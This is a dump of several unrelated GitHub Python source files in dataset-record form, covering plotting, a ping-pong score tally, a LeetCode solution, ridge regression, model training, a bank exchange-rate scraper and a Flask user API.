np.arange(y-1,y+1,1):\n\t\t\t\t\t\tdata[nx+180][ny+180] = float(line.split()[-1])\n\tfig, ax =plt.subplots(figsize=(3,3))\n\tplt.imshow(data, cmap=cmap, norm=colors.BoundaryNorm(bounds, cmap.N),extent=(-180, 180, 180, -180))\n\tax.set_xlabel(r'$\\phi$')\n\tax.set_ylabel(r'$\\psi$')\n\tax.set_title(label)\n\tax.set_xlim([-180,180])\n\tax.set_xticks([-180,-120,-60,0,60,120,180])\n\tax.set_yticks([-180,-120,-60,0,60,120,180])\n\t# ax.plot([-180, 180], [0, 0], color=\"black\")\n\t# ax.plot([0, 0], [-180, 180], color=\"black\")\n\tax.set_ylim([-180,180])\n\tax.grid(visible=True, which='major', axis='both',linestyle='--')\n\tplt.tight_layout()\n\tpdf.savefig()\n\tplt.close()\n\npdf.close()\n","repo_name":"claymc3/CYANA_scripts","sub_path":"top2018_DataSet/rama/expand_grids.py","file_name":"expand_grids.py","file_ext":"py","file_size_in_byte":2265,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"30437608806","text":"'''\nPing Pong Score Processor\n'''\n\nimport os\n\nimport pandas as pd\n\nfrom score_processor import *\n\n\nSHEETS = [\n '2020 League Games',\n '2021 League Games',\n '2022 League Games',\n]\n\n\ndef load_scores():\n scores = []\n for sheet in SHEETS:\n season_scores = pd.read_excel('scores/scores.xlsx', sheet)\n\n season = sheet.split()[0]\n season_scores['season'] = [season]*season_scores.shape[0]\n\n scores.append(season_scores)\n \n scores = pd.concat(scores)\n \n scores.columns = ['idx', 'date', 'location', 'table', 'winner', 'winner_score', 'loser', 'loser_score', 'season']\n del scores['idx']\n\n scores = scores.dropna()\n\n return scores\n\ndef save_results(dataframes, sheet_names):\n filepath = os.path.join('results', 'processed_scores.xlsx')\n\n writer = pd.ExcelWriter(filepath, engine='xlsxwriter')\n for df, sheet in zip(dataframes, sheet_names):\n df.to_excel(writer, sheet_name=sheet, index=False)\n\n writer.save()\n\n\nif __name__ == '__main__':\n print('PROCESSING SCORES: IN PROGRESS\\n')\n\n scores = load_scores()\n games_by_player = segment_games_by_player(scores)\n\n print('---------------------- OVERALL PERFORMANCE ----------------------\\n')\n overall_performance = compute_overall_performance(games_by_player)\n print(f'{overall_performance}\\n')\n\n print('---------------------- PERFORMANCE BY SEASON --------------------\\n')\n seasons = [sheet.split()[0] for sheet in SHEETS]\n performances_by_season = compute_season_by_season_performance(games_by_player, seasons)\n\n for i, season in enumerate(seasons):\n print(f'\\t\\t\\t{season} SEASON\\n')\n print(f'{performances_by_season[i]}\\n')\n \n print('---------------------- HEAD TO HEAD PERFORMANCE -----------------\\n')\n head_to_heads = compute_head_to_head_overall_performance(games_by_player)\n\n for head_to_head in head_to_heads:\n print(f'{head_to_head}\\n')\n\n print('---------------------- SAVING RESULTS ---------------------------\\n')\n\n results = [overall_performance]\n results.extend(performances_by_season)\n results.extend(head_to_heads)\n\n sheet_names = ['overall_performance']\n sheet_names.extend(seasons)\n sheet_names.extend(games_by_player.keys())\n\n save_results(results, sheet_names)\n\n print('PROCESSING SCORES: COMPLETE')","repo_name":"Elikrag/ping_pong","sub_path":"ping_pong.py","file_name":"ping_pong.py","file_ext":"py","file_size_in_byte":2324,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"39634124324","text":"class Solution:\n def letterCombinations(self, digits: str) -> List[str]:\n d = {2:\"abc\", 3:\"def\", 4:\"ghi\", 5:\"jkl\", 6:\"mno\", 7:\"pqrs\", 8:\"tuv\", 9:\"wxyz\"}\n res = []\n part = []\n if digits == \"\":\n return []\n def backtracking(i):\n if i == len(digits):\n res.append(\"\".join(part))\n return\n chars =d[int(digits[i])]\n for char in chars:\n part.append(char)\n backtracking(i+1)\n part.pop()\n backtracking(0)\n return res","repo_name":"pyl/leetcode","sub_path":"17-letter-combinations-of-a-phone-number/17-letter-combinations-of-a-phone-number.py","file_name":"17-letter-combinations-of-a-phone-number.py","file_ext":"py","file_size_in_byte":577,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"34700543431","text":"import numpy as np\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt \n\nfrom utils import load_dataset, problem\n\n\n@problem.tag(\"hw1-A\")\ndef train(X: np.ndarray, Y: np.ndarray, _lambda: float) -> np.ndarray:\n \"\"\"Train function for the Ridge Regression problem.\n Should use observations (`X`), targets (`Y`) and regularization parameter (`_lambda`)\n to train a weight matrix $$\\\\hat{W}$$.\n\n\n Args:\n X (np.ndarray): observations represented as `(n, d)` matrix.\n n is number of observations, d is number of features.\n Y (np.ndarray): targets represented as `(n, k)` matrix.\n n is number of observations, k is number of classes.\n _lambda (float): parameter for ridge regularization.\n\n Raises:\n NotImplementedError: When problem is not attempted.\n\n Returns:\n np.ndarray: weight matrix of shape `(d, k)`\n which minimizes Regularized Squared Error on `X` and `Y` with hyperparameter `_lambda`.\n \"\"\"\n n, d = X.shape\n n_y, k = Y.shape\n if n != n_y:\n raise ValueError(f\"X.shape: {X.shape}, Y.shape: {Y.shape}\")\n\n ret = np.linalg.solve(X.T @ X + _lambda * np.eye(d), X.T @ Y)\n if ret.shape != (d, k):\n raise ValueError(f\"ret.shape: {ret.shape}, (d, k): {(d, k)}\")\n return ret\n\n\n@problem.tag(\"hw1-A\")\ndef predict(X: np.ndarray, W: np.ndarray) -> np.ndarray:\n \"\"\"Train function for the Ridge Regression problem.\n Should use observations (`X`), and weight matrix (`W`) to generate predicated class for each \n observation in X.\n\n Args:\n X (np.ndarray): observations represented as `(n, d)` matrix.\n n is number of observations, d is number of features.\n W (np.ndarray): weights represented as `(d, k)` matrix.\n d is number of features, k is number of classes.\n\n Raises:\n NotImplementedError: When problem is not attempted.\n\n Returns:\n np.ndarray: predictions matrix of shape `(n,)` or `(n, 1)`.\n \"\"\"\n n, d = X.shape\n d_w, k = W.shape\n if d != d_w:\n raise ValueError(f\"X.shape: {X.shape}, W.shape: {W.shape}\")\n return np.argmax(X @ W, axis=1)\n\n\n@problem.tag(\"hw1-A\")\ndef one_hot(y: np.ndarray, num_classes: int) -> np.ndarray:\n \"\"\"One hot encode a vector `y`.\n One hot encoding takes an array of integers and coverts them into binary format.\n Each number i is converted into a vector of zeros (of size num_classes), with exception of i^th\n element which is 1.\n\n Args:\n y (np.ndarray): An array of integers [0, num_classes), of shape (n,)\n num_classes (int): Number of classes in y.\n\n Returns:\n np.ndarray: Array of shape (n, num_classes).\n One-hot representation of y (see below for example).\n\n Example:\n ```python\n > one_hot([2, 3, 1, 0], 4)\n [\n [0, 0, 1, 0],\n [0, 0, 0, 1],\n [0, 1, 0, 0],\n [1, 0, 0, 0],\n ]\n ```\n \"\"\"\n n = len(y)\n ret = np.zeros((n, num_classes))\n ret[np.arange(n), y] = 1\n return ret\n\n\ndef main():\n\n (x_train, y_train), (x_test, y_test) = load_dataset(\"mnist\")\n \n # Convert to one-hot\n y_train_one_hot = one_hot(y_train.reshape(-1), 10)\n\n _lambda = 1e-4\n\n w_hat = train(x_train, y_train_one_hot, _lambda)\n\n y_train_pred = predict(x_train, w_hat)\n y_test_pred = predict(x_test, w_hat)\n\n print(y_test_pred[0:10])\n\n fig, axs = plt.subplots(2, 5)\n i = 0\n for ax in axs.flat:\n while y_test_pred[i] == y_test[i]:\n i += 1\n ax.imshow(x_test[i].reshape(28, 28), cmap=\"Purples\")\n ax.set_title(f\"Label: {y_test[i]}, Prediction: {y_test_pred[i]}\")\n i += 1\n ax.set_yticklabels([])\n ax.set_xticklabels([])\n ax.set_yticks([])\n ax.set_xticks([])\n \n plt.tight_layout()\n plt.show()\n\n print(\"Ridge Regression Problem\")\n print(\n f\"\\tTrain Error: {np.average(1 - np.equal(y_train_pred, y_train)) * 100:.6g}%\"\n )\n print(f\"\\tTest Error: {np.average(1 - np.equal(y_test_pred, y_test)) * 100:.6g}%\")\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"ejh3/LearningMachineLearning","sub_path":"[2]ridge_regression_mnist/ridge_regression.py","file_name":"ridge_regression.py","file_ext":"py","file_size_in_byte":4110,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"25147228928","text":"import os\nfrom transformers import AutoTokenizer\nimport csv\n\ndef main():\n folder = os.path.abspath('./resource/textbooks')\n file_list = os.listdir(os.path.join(folder, 'source'))\n cache_folder = '/home/disk/sunzhoujian/hugginface'\n backbone = \"THUDM/chatglm2-6b\"\n tokenizer = AutoTokenizer.from_pretrained(backbone, trust_remote_code=True, cache_dir=cache_folder)\n\n for file in file_list:\n data = [['key', 'content']]\n file_path = os.path.join(folder, 'source', file)\n file_name = '.'.join(os.path.basename(file_path).split('.')[0: -1])\n with open(file_path, 'r', encoding='utf-8-sig') as f:\n textbook = f.readlines()\n for paragraph in textbook:\n tokenized_paragraph = tokenizer(paragraph)\n if len(tokenized_paragraph['input_ids']) < 50:\n continue\n data.append([paragraph[:2048], paragraph[:2048]])\n save_path = os.path.join(folder, 'target', file_name+'.csv')\n with open(save_path, 'w', encoding='utf-8-sig', newline='') as f:\n csv.writer(f).writerows(data)\n\n idx = 0\n with open(save_path, 'r', encoding='utf-8-sig', newline='') as f:\n csv_reader = csv.reader(f)\n for _ in csv_reader:\n idx += 1\n print(idx)\n print('{} processed'.format(file))\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"DanielSun94/medical_knowledge","sub_path":"parse_textbook.py","file_name":"parse_textbook.py","file_ext":"py","file_size_in_byte":1409,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"26690912254","text":"#Dijkstra algorithm in a graph\ndef Dijkstra(graph, node):\n\n distance = {}\n distance[node] = 0\n path = {}\n while (distance):\n # in case we have a disjoint graph\n op_node = min_distance(distance)\n path[op_node] = distance[op_node]\n del distance[op_node]\n for x, x_len in graph[op_node].items():\n if x not in path:\n if x not in distance:\n distance[x] = path[op_node] + x_len\n elif distance[x] > path[op_node] + x_len:\n distance[x] = path[op_node] + x_len\n return path\n","repo_name":"dahlvani/PythonGraphTheory","sub_path":"DijkstraAlgorithm.py","file_name":"DijkstraAlgorithm.py","file_ext":"py","file_size_in_byte":594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"1205174367","text":"from typing import Callable\r\nfrom player import player\r\nfrom board import board\r\n\r\nimport numpy as np\r\nimport copy\r\nimport random\r\n\r\n# At this point maybe for memory management there should be some pruning, not sure if that matters that much though\r\ndef minimax(current_board: board, player: player, depth, maximizing_player: bool, value_function: Callable[[board, player], float]):\r\n \"\"\"\r\n The abstract minimax function. It wants to know who is asking and what board they are asking about.\r\n \"\"\"\r\n\r\n # First check if we have reached our desired minimax depth or if the boardstate is a final state.\r\n if depth == 0 or current_board.check_for_finality():\r\n return value_function(current_board, player)\r\n\r\n # Now is the logic for the minimax algorithm\r\n valid_moves = current_board.get_valid_moves()\r\n if maximizing_player:\r\n value = -np.Inf\r\n for move in valid_moves:\r\n copy_board = copy.deepcopy(current_board)\r\n copy_board.make_move(move)\r\n value = max(value, minimax(copy_board, player, depth - 1, False, value_function))\r\n return value\r\n else:\r\n value = np.Inf\r\n for move in valid_moves:\r\n copy_board = copy.deepcopy(current_board)\r\n copy_board.make_move(move)\r\n value = min(value, minimax(copy_board, player, depth - 1, True, value_function))\r\n return value\r\n\r\nclass minimax_player(player):\r\n \"\"\"\r\n An abstract class of a player who implements the minimax algorithm to make decisions.\r\n \"\"\"\r\n\r\n def __init__(self, value_function: Callable[[board, player], float], depth = 1, name = 'Minimax player', key = None):\r\n \"\"\"\r\n A minimax player can define different search depths and different value functions.\r\n \"\"\"\r\n self.name = name\r\n self.depth = depth\r\n self.key = key\r\n self.value_function = value_function\r\n\r\n def choose_move(self, board: board) -> str:\r\n \"\"\"\r\n The minimax player runs the minimax algorithm and returns it's chosen move.\r\n \"\"\"\r\n\r\n valid_moves = board.get_valid_moves()\r\n\r\n best_moves = []\r\n best_value = -np.Inf\r\n\r\n for move in valid_moves:\r\n copy_board = copy.deepcopy(board)\r\n copy_board.make_move(move)\r\n move_value = minimax(copy_board, self, self.depth - 1, False, self.value_function)\r\n if move_value == best_value:\r\n best_moves.append(move)\r\n elif move_value > best_value:\r\n best_moves = [move]\r\n best_value = move_value\r\n \r\n return best_moves[random.randrange(len(best_moves))]","repo_name":"Jimmy-Thorne/alpha-zero-implementation","sub_path":"minimax_player.py","file_name":"minimax_player.py","file_ext":"py","file_size_in_byte":2679,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"70644523601","text":"import argparse\nimport math\n\nimport numpy as np\nfrom pathlib import Path\nfrom keras.callbacks import LearningRateScheduler, ModelCheckpoint\nfrom tensorflow.keras.optimizers import Adam\nfrom model import get_unet_model, PSNR\nfrom tensorflow.keras.losses import Huber\nimport dataset\nimport json\nfrom history_watcher import HistoryWatcher\nfrom sqrtMSE import SqrtMSE\n\n\nclass Schedule:\n def __init__(self, nb_epochs, initial_lr):\n self.epochs = nb_epochs\n self.initial_lr = initial_lr\n\n def __call__(self, epoch_idx):\n if epoch_idx < self.epochs * 0.25:\n return self.initial_lr\n elif epoch_idx < self.epochs * 0.50:\n return self.initial_lr * 0.5\n elif epoch_idx < self.epochs * 0.75:\n return self.initial_lr * 0.25\n return self.initial_lr * 0.125\n\n\nclass decay:\n def __init__(self, normal_epochs,total_epochs, initial_lr,step_width=2):\n self.decay_epochs = total_epochs - normal_epochs\n self.normal = normal_epochs\n self.initial_lr = initial_lr\n self.step = step_width\n\n def __call__(self, epoch_idx):\n if epoch_idx < self.normal:\n return self.initial_lr\n decay_id = epoch_idx-self.normal\n decay_step = decay_id // self.step\n return self.initial_lr *(1-(decay_step/(self.decay_epochs/self.step)))\n\n\ndef get_args(input_args):\n parser = argparse.ArgumentParser(description=\"train noise2noise model\",\n formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n parser.add_argument(\"--image_dir\", type=str, required=True,\n help=\"train image dir\")\n parser.add_argument(\"--image_size\", type=int, required=True,\n help=\"image size\")\n parser.add_argument(\"--test_dir\", type=str, required=True,\n help=\"test image dir\")\n parser.add_argument(\"--batch_size\", type=int, default=16,\n help=\"batch size\")\n parser.add_argument(\"--network_depth\", type=int, default=4,\n help=\"encoder-decoder network depth\")\n parser.add_argument(\"--nb_epochs\", type=int, default=100,\n help=\"number of epochs\")\n parser.add_argument(\"--lr\", type=float, default=0.01,\n help=\"learning rate\")\n parser.add_argument(\"--disable_lr_Sched\", action='store_true',\n help=\"disable learning rate scheduler\")\n parser.add_argument(\"--steps\", type=int, default=None,\n help=\"steps per epoch\")\n parser.add_argument(\"--val_steps\", type=int, default=None,\n help=\"steps per validation epoch\")\n parser.add_argument(\"--loss\", type=str, default=\"mse\",\n help=\"loss; mse', 'mae', or 'huber' is expected\")\n parser.add_argument(\"--huber_loss_delta\", type=float, default=1.5,\n help=\"huber loss delta parameter\")\n parser.add_argument(\"--noise_std\", type=float, default=0.015,\n help=\"gaussian noise standard deviation\")\n parser.add_argument(\"--weight\", type=str, default=None,\n help=\"weight file for restart\")\n parser.add_argument(\"--output_path\", type=str, default=\"checkpoints\",\n help=\"checkpoint dir\")\n parser.add_argument(\"--infinite_dataset\", action='store_true',\n help=\"make the dataset infinite\")\n args = parser.parse_args(input_args)\n\n if args.infinite_dataset and ((args.val_steps is None) or (args.steps is None)):\n raise ValueError('\"--infinite_dataset\" is set but \"--val_steps\" or \"--steps\" is None')\n return args\n\n\ndef main(*input_args):\n args = get_args(input_args)\n image_dir = args.image_dir\n test_dir = args.test_dir\n batch_size = args.batch_size\n nb_epochs = args.nb_epochs\n lr = args.lr\n steps = args.steps\n val_steps = args.val_steps\n loss_type = args.loss\n output_path = Path(args.output_path)\n net_depth = args.network_depth\n noise_std = args.noise_std\n model = get_unet_model(depth=net_depth)\n size = args.image_size\n epoch_to_start = 0\n\n if args.weight is not None:\n import os.path as path\n model.load_weights(args.weight)\n epoch_to_start = int(path.basename(args.weight).partition('weights.')[2].partition('-')[0])\n\n opt = Adam(learning_rate=lr)\n callbacks = []\n\n if loss_type == \"huber\":\n loss_type = Huber(args.huber_loss_delta)\n if loss_type == \"sqrtMSE\":\n loss_type = SqrtMSE()\n\n model.compile(optimizer=opt, loss=loss_type, metrics=[PSNR])\n ##\n train_ds = dataset.create_train_dataset(image_dir, batch_size=batch_size, noise_std=noise_std, image_size=size,\n inf=args.infinite_dataset)\n val_ds = dataset.create_val_dataset(test_dir, batch_size=batch_size, noise_std=noise_std, image_size=size,\n inf=args.infinite_dataset)\n ##\n output_path.mkdir(parents=True, exist_ok=True)\n\n with open(output_path.joinpath(\"args.txt\"), 'w') as f:\n json.dump(args.__dict__, f, indent=2)\n\n if not args.disable_lr_Sched:\n callbacks.append(LearningRateScheduler(schedule=Schedule(nb_epochs, lr)))\n else:\n print(\"Learning rate scheduler disabled\")\n callbacks.append(ModelCheckpoint(str(output_path) + \"/weights.{epoch:03d}-{val_loss:.3f}-{val_PSNR:.5f}.hdf5\",\n monitor=\"val_PSNR\",\n verbose=1,\n mode=\"max\",\n save_weights_only=True,\n save_best_only=True))\n callbacks.append(HistoryWatcher(output_path=str(output_path) + \"/history_watched.csv\"))\n hist = model.fit(\n x=train_ds,\n epochs=nb_epochs,\n verbose=1,\n callbacks=callbacks,\n validation_data=val_ds,\n steps_per_epoch=steps,\n validation_steps=val_steps,\n initial_epoch=epoch_to_start\n )\n\n np.savez(str(output_path.joinpath(\"history.npz\")), history=hist.history)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"ormn96/CT-N2N","sub_path":"n2n/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":6187,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"19952096412","text":"import json\nimport os\nimport re\nimport requests\nimport time\nimport threading\nfrom tqdm import tqdm\nfrom datetime import date, datetime, timedelta\n# from common.freeday import isFreeday\nfrom bs4 import BeautifulSoup\n\n# START_DATE = date(2004, 8, 29)\n# END_DATE = date(2006, 2, 1)\n# START_DATE = date(2023, 1, 10)\n# START_DATE = date(2001, 2, 14)\n# END_DATE = date(2006, 1, 1)\n# START_DATE = date(2021, 8, 21)\nSTART_DATE = date(2023, 1, 1)\nEND_DATE = date(2023, 1, 20)\nDATES = [\n # '2023-01-15',\n # '2023-01-16',\n # '2023-01-17',\n # '2015-01-22',\n # '2019-01-03',\n # '2019-08-22',\n # '2019-08-23',\n # '2019-10-30',\n\n]\n\n\nTHREADS_NUMBER = 3\n\n_TOKEN = 'oSY8r38ve9Wt0ZbR8cmt9g8KIQnuu9sZgLCH7yVd'\n_COOKIE = '_ga=GA1.2.379930174.1673008829; cookieInfo=1; _gid=GA1.2.807981481.1674327388; XSRF-TOKEN=oSY8r38ve9Wt0ZbR8cmt9g8KIQnuu9sZgLCH7yVd; _gat_UA-33140607-1=1; _gat_UA-115307957-1=1; user_session=eyJpdiI6IjJWKzIyNmwvdmRzWGhnSzhLdDVLWkE9PSIsInZhbHVlIjoicGFuSVFHMXR6bzd1VTBGdkkyQ2NuajYvTDMxSUFiYm1YL1h6bVduYnFLQ1lBVXRoL3JLR3prbHdUWExEWEk3Y1JkQTlZTGtvL3JTZDBuNHFESElyaU4rSTZSaUxYRDN3Vm9HODVtT0xpNGppU2psYjQwV2VXbG1SdTdhZm5VTnIiLCJtYWMiOiIwYzgwNTVkOGI0ZDA3MzJjNWQxNTA0Yjg4ZjE0NzE0YzJmNzg4Y2Q3MDhiODI5ZmI0OTYwZDRiNTBkMTRmOTcwIiwidGFnIjoiIn0='\n\nFILENAME = f'getin-kredyty'\n\nHEADER = f'''Velobank: Kursy walut - KREDYTY (CHF)\n\n* - Pobrano wszystkie dni - w tym soboty, niedziele i święta. \n Datę 2019-08-23 traktować szczególnie bo nie działa (pokazuje różne wartości kursów po zmianie godziny na stronie)\n** - Godziny notowań w dniach: 2015-01-22, 2019-01-03, 2019-08-22, 2019-08-23, 2019-10-30\n\n\n'''\n\nFIELDS = ('Data', 'Kupno', 'Sprzedaż', 'Spread')\n\n# ------------------------------------------------------------------------------\n\nheaders = {\n 'accept': 'application/json',\n 'connection': 'keep-alive',\n # 'content-type': 'application/x-www-form-urlencoded; charset=UTF-8',\n 'cookie': _COOKIE,\n # 'origin': 'https://www.velobank.pl',\n 'origin': 'https://www.getinbank.pl',\n # 'referer': 'https://www.velobank.pl/kursy-walut',\n 'referer': 'https://www.getinbank.pl/kursy-walut',\n 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',\n 'x-csrf-TOKEN': _TOKEN,\n # 'x-requested-With': 'XMLHttpRequest',\n\n # 'connection': 'keep-alive',\n}\n\n\ndef getRates(date):\n\n # url = 'https://www.velobank.pl/api/modules/exchange-rates/changeDate'\n url = 'https://www.getinbank.pl/api/modules/exchange-rates/changeDate'\n\n post_data = {\n # 'dateTime': f\"{date}\",\n 'dateTime': f\"{date} 23:59:59\",\n 'type': 'credits',\n 'locale': 'pl',\n '_token': _TOKEN,\n }\n\n response = requests.post(url, data=post_data, headers=headers)\n\n if response.status_code != 200:\n return {'error': f\"Failed to fetch the resource: HTTP {response.status_code}\"}\n\n data = response.json()\n\n if 'table' not in data:\n return {'error': f\"Key 'table' not found in response\"}\n\n soup = BeautifulSoup(data['table'], 'html.parser')\n\n info = ''\n hours = re.findall(\"\\d\\d:\\d\\d\", data['table'])\n\n # Extra check - succeed for ['2015-01-22', '2019-01-03', '2019-08-22', '2019-08-23', '2019-10-30',]\n if soup.find(\"select\", {\"name\": \"time\"}) or hours:\n info += f'{date}\\tMore than one hour found: [{\",\".join(sorted(set(hours)))}]'\n\n result = ''\n\n #
    \n # \n # \n # \n # \n # \n # \n # \n # \n # \n # \n # \n # \n # \n # \n # \n #
    Kraj Kupno Sprzedaż Spread
    CHF 4.6325 4.7963 0.1638
    \n #
    \n\n for entry in soup.find(\"div\", {\"class\": \"table-container\"}).find(\"table\").find(\"tbody\").find_all(\"tr\"):\n tds = [td.text.strip()\n for td in entry.find_all(\"td\") or entry.find_all(\"th\")]\n\n if tds[0] == 'CHF':\n if len(tds) != 4:\n info += f\"{date}\\tINFO: Another number of columns\\n\"\n\n # row = (date.replace(\" \", f\"\\t\"), *tds[1:])\n row = (date, *tds[1:])\n result += '\\t'.join([str(x) for x in row]) + '\\n'\n break\n else:\n info += f'{date}\\tCHF entry not found'\n\n return {'data': result, 'info': info, }\n\n\nclass DownloadingThread(threading.Thread):\n def __init__(self, dates):\n super(DownloadingThread, self).__init__()\n self.dates = dates\n self.errors = []\n self.result = ''\n\n def run(self):\n # print(\"Warning! This is approximated progress bar and some other threads can be still operating after reaching 100%.\")\n for date in tqdm(self.dates):\n try:\n rates = getRates(date)\n if 'error' in rates:\n self.errors.append(f\"{date}\\t{rates['error']}\")\n else:\n self.result += rates['data']\n if rates['info']:\n self.errors.append(rates['info'])\n except Exception as e:\n self.errors.append(f\"{date}\\tAnother error occured: {e}\")\n\n\ndef split(arr, n):\n k, m = divmod(len(arr), n)\n return (arr[i*k+min(i, m):(i+1)*k+min(i+1, m)] for i in range(n))\n\n\nif __name__ == '__main__':\n\n # x = getRates('2022-06-30')\n # xd = getRates('2020-11-30')\n # x = getRates('2006-11-30') // błąd gdy nie ma peakoTable=1 ale jest pekaoTable=2\n # getRates('2015-01-10')\n # x = getRates('2004-08-03')\n # for date in DATES:\n # x = getRates(date)\n # print(x['data'])\n # print(xd)\n # print(f)\n\n # import sys\n # sys.exit()\n # -------------------------------------------------\n\n dates = []\n start_time = time.time()\n\n if DATES:\n dates = DATES\n else:\n date = START_DATE\n while date <= END_DATE:\n # if date.weekday() < 5:\n # # dates.append(date.strftime(\"%Y-%m-%d\"))\n dates.append(date.strftime(\"%Y-%m-%d\"))\n date += timedelta(days=1)\n\n threads = [DownloadingThread(d) for d in split(dates, THREADS_NUMBER)]\n\n print(\"Starting...\")\n\n for t in threads:\n t.start()\n\n for t in threads:\n t.join()\n\n result = HEADER + '\\t'.join(FIELDS) + '\\n' + \\\n ''.join([t.result for t in threads])\n\n errors = '\\n'.join(['\\n'.join(t.errors)\n for t in threads if t.errors]) + '\\n'\n\n i = 0\n while os.path.exists(f'{FILENAME}-{i}.txt'):\n i += 1\n\n with open(f'{FILENAME}-{i}.txt', 'w', encoding='utf-8') as result_file:\n result_file.write(result)\n\n with open(f'{FILENAME}-FAILS-{i}.txt', 'w', encoding='utf-8') as fails_file:\n fails_file.write(errors)\n\n exec_time = time.time() - start_time\n time.sleep(1)\n\n print(\"Finished!\")\n print(\"Total dates: \", len(dates))\n print(\"Success dates: \", len(dates) - errors.count('\\n'))\n print(\"Total rates: \", result.count('\\n') - 2)\n print(\"Failure dates: \", errors.count('\\n'))\n print(f\"Execution time: {exec_time//60} min {round(exec_time % 60, 2)} s\")\n","repo_name":"mackowiakw/Bank-Scrapers","sub_path":"Geting-nowe/getin-nowe-kredyty.py","file_name":"getin-nowe-kredyty.py","file_ext":"py","file_size_in_byte":7405,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"26878986285","text":"\nfrom django.urls import path,include\nfrom django.conf import settings\nfrom django.contrib.auth.views import LoginView,LogoutView\nfrom .views import BookDetail,post_delete,post_update,CreateBooksView,BookCategoryView,HistoryList,HistoryDelete\n\n\n\nurlpatterns = [\n path('login/', LoginView.as_view(template_name='accounts/login.html'), name='login'),\n path('logout/', LogoutView.as_view(next_page=settings.LOGOUT_REDIRECT_URL), name='logout'),\n path('create/',CreateBooksView.as_view(),name='create_books'),\n path('/',BookDetail.as_view(),name='book_detail'),\n path('history/',HistoryList.as_view(),name='history'),\n path('delete/',HistoryDelete.as_view(),name='history_delete'), \n path('/',BookCategoryView.as_view(),name='book_category'),\n path('/update/',post_update,name='update_book'),\n path('/delete/',post_delete,name='delete_book'),\n path('hitcount/', include(('hitcount.urls', 'hitcount'), namespace='hitcount')),\n\n\n]","repo_name":"manish2074/book_management","sub_path":"books/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1001,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"23622227496","text":"import os\nimport gzip\nimport sys\n\npdbdir = os.path.join(os.getcwd(),'db','pdb')\npdbfiles = os.listdir(pdbdir)\n\nnumpdbfiles = len(pdbfiles)\n\nxray_count = 0\n\nfor i in range(numpdbfiles):\n\n sys.stdout.flush()\n print(f\"Progress: {i}/{numpdbfiles}\",end='\\r')\n\n pdbfile = pdbfiles[i]\n name = os.path.splitext(os.path.basename(pdbfile))[0]\n with gzip.open(os.path.join(pdbdir,pdbfile), \"rt\") as f:\n lines = f.readlines()\n\n for line in lines:\n line = line.lower()\n if \"remark 200\" in line:\n if \"xray\" in line or \"x-ray\" in line or \"x ray\" in line:\n xray_count += 1 \n break\n\nprint(f\"Number of structures determined by X-ray: {xray_count:d}/{numpdbfiles:d}\") \n","repo_name":"gabi-a/blasting_preconceptions","sub_path":"count_xrays.py","file_name":"count_xrays.py","file_ext":"py","file_size_in_byte":732,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"18494829261","text":"def isin(string, array):\r\n for i in array:\r\n if i is string.strip():\r\n return True\r\n return False\r\n\r\nwith open(\"input_day_03.txt\", \"r+\") as file1:\r\n sum = 0\r\n counter = 0\r\n part = [0]*3\r\n for line in file1:\r\n part[counter]=set(line.strip())\r\n counter += 1\r\n if counter < 3:\r\n continue\r\n else:\r\n counter = 0\r\n result = part[0].intersection(part[1], part[2])\r\n prio = ord(next(iter(result))) - 96\r\n\r\n if prio <=0:\r\n prio += 58\r\n\r\n sum += prio\r\n\r\n\r\n\r\n print(sum)\r\n","repo_name":"Powerkrieger/advent_of_code","sub_path":"2022/day_03_part_two.py","file_name":"day_03_part_two.py","file_ext":"py","file_size_in_byte":609,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"1942683674","text":"from flask import Blueprint, jsonify\nfrom flask_login import login_required, current_user\nfrom app.models import User, ProblemSolved, db\n\nuser_routes = Blueprint('users', __name__)\n\n\n@user_routes.route('/')\n@login_required\ndef users():\n users = User.query.all()\n return {'users': [user.to_dict() for user in users]}\n\n\n@user_routes.route('/')\n@login_required\ndef user(id):\n user = User.query.get(id)\n return user.to_dict()\n\n# Route to handle user solving a problem\n@user_routes.route('//problems-solved/', methods=['POST'])\n@login_required\ndef solve_problem(id, problemid):\n user = current_user\n\n user_instance = User.query.get(user.id)\n user_instance.num_solved += 1\n\n solved_problem = ProblemSolved(user_id=user.id, problem_id=problemid)\n\n db.session.add(solved_problem)\n db.session.commit()\n\n return solved_problem.to_dict()\n\n# Route to handle removing solving a problem\n@user_routes.route('//problems-solved/', methods=['DELETE'])\n@login_required\ndef delete_solved(id, problemid):\n user = current_user\n\n user_instance = User.query.get(user.id)\n user_instance.num_solved -= 1\n\n solved_problem = ProblemSolved.query.filter(ProblemSolved.user_id == user.id, ProblemSolved.problem_id == problemid).first()\n\n db.session.delete(solved_problem)\n db.session.commit()\n\n return {'message': 'Sucessfully 